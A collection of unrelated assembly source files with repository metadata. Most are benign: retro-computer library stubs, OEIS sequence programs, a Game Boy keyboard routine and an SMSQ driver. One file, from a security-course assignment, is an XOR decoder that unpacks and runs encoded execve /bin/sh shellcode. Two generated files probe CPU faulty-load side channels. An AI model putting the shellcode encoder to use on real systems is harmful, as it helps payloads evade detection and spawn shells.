[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_driver SECTION code_driver_terminal_output PUBLIC zx_01_output_char_32_tty_z88dk_21_foreground_attr zx_01_output_char_32_tty_z88dk_21_foreground_attr: ; change foreground colour ; de = parameters * ld a,(de) ld (ix+23),a ret
15.823529
56
0.762082
fd4cd0a03eac96c80a66e07755cd734fa9295695
1,485
nasm
Assembly
assignment-4/custom-encoder.nasm
securitychops/securitytube-slae32
a47234f1cac25a7a5ef8a46a021807abaeae0643
[ "MIT" ]
6
2018-10-19T13:05:33.000Z
2020-12-18T16:24:02.000Z
assignment-4/custom-encoder.nasm
securitychops/securitytube-slae32
a47234f1cac25a7a5ef8a46a021807abaeae0643
[ "MIT" ]
null
null
null
assignment-4/custom-encoder.nasm
securitychops/securitytube-slae32
a47234f1cac25a7a5ef8a46a021807abaeae0643
[ "MIT" ]
3
2019-10-29T18:06:22.000Z
2021-07-05T00:31:15.000Z
; Student ID : SLAE-1250 ; Student Name : Jonathan "Chops" Crosby ; Assignment 4 : Custom Encoder (Linux/x86) Assembly ; File Name : custom-encoder.nasm global _start section .text _start: jmp short call_shellcode ; using the jump, call and pop method to get into our shellcode decoder: pop esi ; get the address of EncodedShellcode into esi decode: mov bl, byte [esi] ; moving current byte from shellcode string xor bl, 0xff ; checking if we are done decoding and should ; jump directly to our shell code jz EncodedShellcode ; if the current value being evaluated is 0xff ; then we are at the end of the string mov byte [esi], bl ; a by product of the xor is that we get the difference ; between 0xff and the current encoded byte being evaluated ; which is infact the actual instruction value to execute! inc esi ; move to next byte to be evaluated in our shellcode jmp short decode ; run through decode again call_shellcode: call decoder ; call our decoder routine ; this is our encoded shell string for execve-stack EncodedShellcode: db 0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f,0xff
37.125
158
0.614141
24ec9ff76afe3ef427da3aea9070f3e12418bef4
242
asm
Assembly
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_ide_mode_set.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_ide_mode_set.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_ide_mode_set.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; unsigned char esx_ide_mode_set(struct esx_mode *mode) SECTION code_esxdos PUBLIC _esx_ide_mode_set EXTERN _esx_ide_mode_set_fastcall _esx_ide_mode_set: pop af pop hl push hl push af jp _esx_ide_mode_set_fastcall
13.444444
55
0.768595
9fd573789df7828e0f6b90ef808e224e4708fed3
560
asm
Assembly
programs/oeis/000/A000245.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/000/A000245.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/000/A000245.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A000245: a(n) = 3*(2*n)!/((n+2)!*(n-1)!). ; 0,1,3,9,28,90,297,1001,3432,11934,41990,149226,534888,1931540,7020405,25662825,94287120,347993910,1289624490,4796857230,17902146600,67016296620,251577050010,946844533674,3572042254128,13505406670700,51166197843852,194214400834356,738494264901008,2812744285440936 mov $2,$0 mov $5,2 lpb $5 mov $0,$2 sub $5,1 add $0,$5 sub $0,1 cal $0,128634 ; Number of parallel permutations of length n. div $0,2 mov $3,$5 mov $4,$0 lpb $3 mov $1,$4 sub $3,1 lpe lpe lpb $2 sub $1,$4 mov $2,0 lpe
23.333333
264
0.682143
fa1b1b71c25cadff693ea3b347d2d90c45bffc9f
387
asm
Assembly
oeis/097/A097656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/097/A097656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/097/A097656.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A097656: Binomial transform of A038507. ; Submitted by Jamie Morken(s2) ; 2,4,9,24,81,358,2021,13828,109857,986922,9865125,108507160,1302065441,16926805678,236975181189,3554627504844,56874039618753,966858672535762,17403456103546565,330665665962928288,6613313319249128577 mov $2,1 mov $3,$0 lpb $3 mul $2,$3 add $1,$2 sub $3,1 lpe mov $4,2 pow $4,$0 add $4,$1 mov $0,$4 add $0,1
22.764706
198
0.749354
c5210aab0e2cfe209b616e1ae9d7de217680de92
6,247
asm
Assembly
src/keyboard.asm
furrtek/GB303
2f275fff085b05fdc7843074dcc062956a1d8d56
[ "CC-BY-4.0" ]
90
2015-06-19T14:26:19.000Z
2022-01-05T08:19:41.000Z
src/keyboard.asm
furrtek/GB303
2f275fff085b05fdc7843074dcc062956a1d8d56
[ "CC-BY-4.0" ]
2
2015-06-21T20:55:40.000Z
2022-02-09T08:02:04.000Z
src/keyboard.asm
furrtek/GB303
2f275fff085b05fdc7843074dcc062956a1d8d56
[ "CC-BY-4.0" ]
10
2015-06-21T20:43:11.000Z
2020-12-08T13:24:16.000Z
keyboard_show: ;Separation bar ld hl,$9C00 ld b,20 ld a,T_WINGRAD -: di call wait_hblank ldi (hl),a ei dec b jr nz,- ;Underline typed text ld hl,$9C00+(32*2)+6 ld b,8 ld a,T_WINGRAD -: di call wait_hblank ldi (hl),a ei dec b jr nz,- ld de,text_keyboard ld hl,$9C00+(32*1)+3 ld b,TXT_NORMAL call maptext xor a ld (KBX),a ld (KBY),a ld a,$FF ;Security ld (TEMPNAME+8),a ld de,text_clearname ld hl,$9C00+(32*1)+6 ld b,TXT_NORMAL call maptext ld de,TEMPNAME ld hl,$9C00+(32*1)+6 ld b,0 call maptext ;Detect end of text ld hl,TEMPNAME ld b,0 -: ldi a,(hl) or a jr z,+ ;Zero or $FF inc a jr z,+ inc b jr - ;Risky risky :x +: ld a,b cp 8 jr nz,+ ;Cap to 7 ld a,7 +: ld (NAMEPTR),a ld hl,$9C00+(32*3)+3 di call wait_hblank ld a,(hl) add $40 ld (hl),a ei ld hl,vbl_keyboard ld a,l ld (VBL_HANDLER),a ld a,h ld (VBL_HANDLER+1),a ld a,80 ldh ($4A),a ;Window Y ld a,7 ldh ($4B),a ;Window X ldh a,($40) or %00100000 ldh ($40),a ld a,1 ld (KEYBOARDMODE),a ret keyboard_hide: ldh a,($40) and %11011111 ldh ($40),a ld a,144 ldh ($4A),a ;Window Y ld hl,vbl_loadsave ld a,l ld (VBL_HANDLER),a ld a,h ld (VBL_HANDLER+1),a ret vbl_keyboard: call RAMtoOAM ld hl,FRAME inc (hl) ld a,(FRAME) ;Blink cursor and 7 jr nz,+ ld hl,$9C00+(32*1)+6 ld a,(NAMEPTR) cp 8 jr nz,++ ld a,7 ++: add l ld l,a jr nc,++ inc h ++: di call wait_hblank ld a,(hl) xor %01000000 ld (hl),a ei +: call readinput call input_keyboard ld hl,OAMCOPY ld bc,$40 call clear ret input_keyboard: ld a,(JOYP_ACTIVE) ;A bit 0,a jr z,+++ ld a,(KBY) cp 3 jr nz,+ ld a,(KBX) and 1 jr z,++ ;OK ld a,(KBCALLBACK) ld l,a ld a,(KBCALLBACK+1) ld h,a call dojump ++: ;CANCEL call keyboard_hide jr +++ +: ld a,(NAMEPTR) cp 8 jr z,+++ call makekbaddr di call wait_hblank ld a,(hl) ei and $3F ld c,a ld hl,TEMPNAME ld a,(NAMEPTR) add l ld l,a jr nc,++ inc h ++: ld (hl),c ld de,TEMPNAME ld hl,$9C00+(32*1)+6 ld b,0 call maptext ld a,(NAMEPTR) inc a ld (NAMEPTR),a +++: ld a,(JOYP_ACTIVE) ;B bit 1,a jr z,+ ld a,(NAMEPTR) or a jr z,+ dec a ld (NAMEPTR),a ld hl,TEMPNAME ld a,(NAMEPTR) add l ld l,a jr nc,++ inc h ++: ld a,$FF ld (hl),a ld de,text_clearname ld hl,$9C00+(32*1)+6 ld b,TXT_NORMAL call maptext ld de,TEMPNAME ld hl,$9C00+(32*1)+6 ld b,0 call maptext +: ld a,(JOYP_ACTIVE) ;Right bit 4,a jr z,+ ;Erase previous cursor call makekbaddr di call wait_hblank ld a,(hl) and %10111111 ld (hl),a ei ;See if we're on ok/cancel line ld a,(KBY) cp 3 jr z,+++ ld a,(KBX) inc a cp 14 jr nz,++ xor a ;Wrap ++: ld (KBX),a jr ++ +++: ld a,(KBX) inc a and 1 ld (KBX),a ++: ;Print new cursor call makekbaddr di call wait_hblank ld a,(hl) add $40 ld (hl),a ei +: ld a,(JOYP_ACTIVE) ;Left bit 5,a jr z,+ ;Erase previous cursor call makekbaddr di call wait_hblank ld a,(hl) and %10111111 ld (hl),a ei ;See if we're on ok/cancel line ld a,(KBY) cp 3 jr z,+++ ld a,(KBX) dec a cp $FF jr nz,++ ld a,14-1 ;Wrap ++: ld (KBX),a jr ++ +++: ld a,(KBX) dec a and 1 ld (KBX),a ++: ;Print new cursor call makekbaddr di call wait_hblank ld a,(hl) add $40 ld (hl),a ei +: ld a,(JOYP_ACTIVE) ;Up bit 6,a jr z,+ ld a,(KBY) or a jr z,+ ;Erase previous cursor call makekbaddr di call wait_hblank ld a,(hl) and %10111111 ld (hl),a ei ld a,(KBY) dec a cp 2 jr nz,++ xor a ld (KBX),a ld a,2 ++: ld (KBY),a ;Print new cursor call makekbaddr di call wait_hblank ld a,(hl) add $40 ld (hl),a ei +: ld a,(JOYP_ACTIVE) ;Down bit 7,a jr z,+ ld a,(KBY) cp 4-1 jr z,+ ;Erase previous cursor call makekbaddr di call wait_hblank ld a,(hl) and %10111111 ld (hl),a ei ld a,(KBY) inc a cp 3 jr nz,++ ;Default to "cancel" xor a ld (KBX),a ld a,3 ++: ld (KBY),a ;Print new cursor call makekbaddr di call wait_hblank ld a,(hl) add $40 ld (hl),a ei +: ret makekbaddr: ld a,(KBY) cp 3 jr z,++ ld h,0 ld l,a add hl,hl add hl,hl add hl,hl add hl,hl add hl,hl ld de,$9C00+(32*3)+3 add hl,de ld a,(KBX) add l ld l,a jr nc,+ inc h +: ret ++: ld hl,$9C00+(32*6)+3 ld a,(KBX) and 1 ;Security jr z,+ ld hl,$9C00+(32*6)+15 +: ret text_keyboard: ; 01234567890123456789 .db " ",$FE .db " ",$FE .db "0123456789ABCD",$FE .db "EFGHIJKLMNOPQR",$FE .db "STUVWXYZ-+!?/_",$FE .db "CANCEL OK",$FF
15.199513
34
0.425324
fbe8813a9979f840d49075caff15a0d4449fb17f
335
asm
Assembly
oeis/021/A021393.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021393.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021393.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021393: Decimal expansion of 1/389. ; Submitted by Jamie Morken(s2) ; 0,0,2,5,7,0,6,9,4,0,8,7,4,0,3,5,9,8,9,7,1,7,2,2,3,6,5,0,3,8,5,6,0,4,1,1,3,1,1,0,5,3,9,8,4,5,7,5,8,3,5,4,7,5,5,7,8,4,0,6,1,6,9,6,6,5,8,0,9,7,6,8,6,3,7,5,3,2,1,3,3,6,7,6,0,9,2,5,4,4,9,8,7,1,4,6,5,2,9 seq $0,199685 ; a(n) = 5*10^n+1. mul $0,2 div $0,389 mod $0,10
37.222222
199
0.558209
ccf8eba0f11d3a6c2a08a69aa5678d9833d2b6b7
366
asm
Assembly
programs/oeis/030/A030132.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/030/A030132.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/030/A030132.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A030132: Digital root of Fibonacci(n). ; 0,1,1,2,3,5,8,4,3,7,1,8,9,8,8,7,6,4,1,5,6,2,8,1,9,1,1,2,3,5,8,4,3,7,1,8,9,8,8,7,6,4,1,5,6,2,8,1,9,1,1,2,3,5,8,4,3,7,1,8,9,8,8,7,6,4,1,5,6,2,8,1,9,1,1,2,3,5,8,4,3,7,1,8,9,8,8,7,6,4,1,5,6,2,8,1,9,1,1,2 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. sub $0,1 lpb $0 mod $0,9 lpe add $0,1
36.6
201
0.532787
91da19723b1da042c7d64b1e8f4a2b1919d6383e
2,613
asm
Assembly
smsq/hwt/iserve.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/hwt/iserve.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/hwt/iserve.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; SMSQ Hardware table handling V2.10  1999 Tony Tebby section hwt xdef hwt_create ; create empty hardware table xdef hwt_iserve ; install interrupt servers in hwt xref gu_achpp xref gu_rchp include 'dev8_keys_hwt' include 'dev8_smsq_smsq_base_keys' include 'dev8_mac_assert' ;+++ ; Hardware table setup - create empty hardware table ; ; d0 cr number of entries in empty table ; ; status return standard ;--- hwt_create hwtc.reg reg d1/a0/a5 movem.l hwtc.reg,-(sp) addq.w #hwt_table/hwt.table,d0 assert hwt.table,$10 lsl.l #4,d0 move.l d0,d1 jsr gu_achpp bne.s hwtc_exit bsr.s hwtc_settab add.l a0,d1 move.l d1,(a0) ; set top add.w #hwt_table,a0 move.l a0,hwt_ptr-hwt_table(a0) ; set pointer hwtc_exit movem.l (sp)+,hwtc.reg rts hwtc_settab lea sms.hwtab,a5 ; set table pointer move.l a0,d0 swap d0 bsr.s hwtc_setw swap d0 hwtc_setw jmp sms.wbase ;+++ ; Hardware table setup - install interrupt servers ; ; d0 r offset of first entry in hardware table for this driver ; d1 c p byte, logicl port number ; a3 c p linkage block ; a4 c p base address of hardware ; a5 c u pointer to vector table in driver definition table ; status return arbirary ;--- hwt_iserve hwti.reg reg d0/d2/d3/d4/a0/a1/a2 clr.l d0 ; return nothing movem.l hwti.reg,-(sp) move.l a5,a1 move.w (a5)+,d0 ; get pointer to table and move on beq.s hwti_exit ; no table add.w d0,a1 move.l sms.hwtab,a0 ; hardware table move.l hwt_ptr(a0),a2 ; table pointer move.l a2,d0 sub.l a0,d0 move.l d0,(sp) ; set offset hwti_loop move.w (a1)+,d4 ; next vector to set beq.s hwti_exit ; no (more) vectors cmp.l hwt_top(a0),a2 ; off top yet? blo.s hwti_set ; ... no move.l a2,d3 sub.l a0,d3 ; old size moveq #hwt.table*7,d2 ; make room for 7 more entries add.l d3,d2 ; new size move.l a0,a4 ; keep old base move.l d2,d0 jsr gu_achpp ; allocate bne.s hwti_exit ; should not happen move.l d3,d0 move.l a4,a2 hwti_copy move.l (a2)+,(a0)+ subq.w #4,d0 bgt.s hwti_copy move.l a0,a2 ; new pointer sub.l d3,a0 ; new base add.l a0,d2 ; new top move.l d2,hwt_top(a0) move.l a2,hwt_ptr(a0) bsr.s hwtc_settab ; save table exg a0,a4 jsr gu_rchp ; return old bit exg a0,a4 hwti_set move.l a3,(a2)+ ; set linkage pea -2(a1,d4.w) move.l (sp)+,(a2)+ ; set server clr.l (a2)+ ; spare move.w (a1)+,(a2)+ ; interrupt level and priority move.w (a1)+,d0 ; type / spare move.b d1,d0 move.w d0,(a2)+ ; type / port number move.l a2,hwt_ptr(a0) bra.s hwti_loop hwti_exit movem.l (sp)+,hwti.reg rts end
19.355556
63
0.673173
18b3f2e5da30d4912c733c65062714a392af7d67
208
asm
Assembly
data/pokemon/dex_entries/marowak.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
data/pokemon/dex_entries/marowak.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
data/pokemon/dex_entries/marowak.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
db "BONEKEEPER@" ; species name dw 303, 990 ; height, weight db "Somewhere in the" next "world is a ceme-" next "tery just for" page "MAROWAK. It gets" next "its bones from" next "those graves.@"
18.909091
32
0.663462
620b74e040e9fc46f928f84e52b2ed4dd32dad55
1,841
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_9_83.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_9_83.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_9_83.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r9 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0xdff7, %rsi lea addresses_D_ht+0x10227, %rdi nop nop nop nop inc %rax mov $122, %rcx rep movsb add %rbx, %rbx lea addresses_UC_ht+0x3cb7, %rdi add $40946, %r9 movl $0x61626364, (%rdi) add %rcx, %rcx lea addresses_WT_ht+0x18b17, %rsi nop nop nop nop nop sub $60853, %rcx movl $0x61626364, (%rsi) nop nop sub %rax, %rax lea addresses_WT_ht+0x57b7, %rsi lea addresses_D_ht+0xf5d3, %rdi nop nop xor %rbp, %rbp mov $54, %rcx rep movsl dec %rax pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r9 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %rax push %rbp // Faulty Load lea addresses_US+0x68b7, %r15 nop nop nop nop cmp $41471, %r8 mov (%r15), %r11d lea oracles, %rax and $0xff, %r11 shlq $12, %r11 mov (%rax,%r11,1), %r11 pop %rbp pop %rax pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'00': 9} 00 00 00 00 00 00 00 00 00 */
19.795699
147
0.652363
643f703c46481f41065eb97cf389dff5bc368570
360
asm
Assembly
oeis/131/A131308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/131/A131308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/131/A131308.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A131308: Alternate A001477 and tripled 2*A000027. ; 0,2,2,2,1,4,4,4,2,6,6,6,3,8,8,8,4,10,10,10,5,12,12,12,6,14,14,14,7,16,16,16,8,18,18,18,9,20,20,20,10,22,22,22,11,24,24,24,12,26,26,26,13,28,28,28,14,30,30,30,15,32,32,32,16,34,34,34,17,36,36,36,18,38,38,38,19 mov $1,$0 lpb $0 div $0,4 mul $0,4 mov $1,4 add $1,$0 mul $1,2 lpe mov $0,$1 div $0,4
25.714286
210
0.611111
d373c778ac405289b4a0bef0c6cd2c243c013c29
6,290
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_425.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_425.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_425.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r8 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1290e, %r11 nop nop nop nop add %rsi, %rsi movups (%r11), %xmm1 vpextrq $1, %xmm1, %r14 nop nop nop inc %r13 lea addresses_WC_ht+0xd5f6, %rdi clflush (%rdi) dec %r8 mov $0x6162636465666768, %rcx movq %rcx, (%rdi) nop nop nop dec %rsi lea addresses_normal_ht+0xdede, %r11 nop xor $24075, %r8 movw $0x6162, (%r11) nop cmp %rdi, %rdi lea addresses_WT_ht+0x1526, %r14 nop nop nop xor %r11, %r11 mov (%r14), %esi sub $22547, %rsi lea addresses_D_ht+0x340e, %rsi lea addresses_normal_ht+0x1520e, %rdi nop nop nop xor %rdx, %rdx mov $53, %rcx rep movsb nop nop cmp %r13, %r13 lea addresses_WC_ht+0x4c0e, %rsi nop nop nop nop nop inc %r11 movups (%rsi), %xmm7 vpextrq $1, %xmm7, %rdx nop nop nop sub %r11, %r11 lea addresses_WT_ht+0x312e, %r8 nop nop nop nop nop xor $21589, %r11 movl $0x61626364, (%r8) nop nop nop nop dec %rdi lea addresses_A_ht+0x18c0e, %rsi lea addresses_normal_ht+0xd96, %rdi nop nop nop nop sub %r14, %r14 mov $98, %rcx rep movsb nop nop and %r11, %r11 lea addresses_D_ht+0x1380e, %r13 nop nop add %rdx, %rdx movb (%r13), %cl inc %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r8 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %r9 push %rcx push %rsi // Store lea addresses_D+0x1e00e, %r8 nop and $52114, %r14 movb $0x51, (%r8) nop nop nop nop nop and $49769, %rcx // Faulty Load lea addresses_PSE+0xb40e, %r9 nop dec %rsi mov (%r9), %r8d lea oracles, %r9 and $0xff, %r8 shlq $12, %r8 mov (%r9,%r8,1), %r8 pop %rsi pop %rcx pop %r9 pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': True}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': True, 'congruent': 3, 'NT': True, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'src': {'same': True, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'src': {'same': False, 'congruent': 10, 'NT': True, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 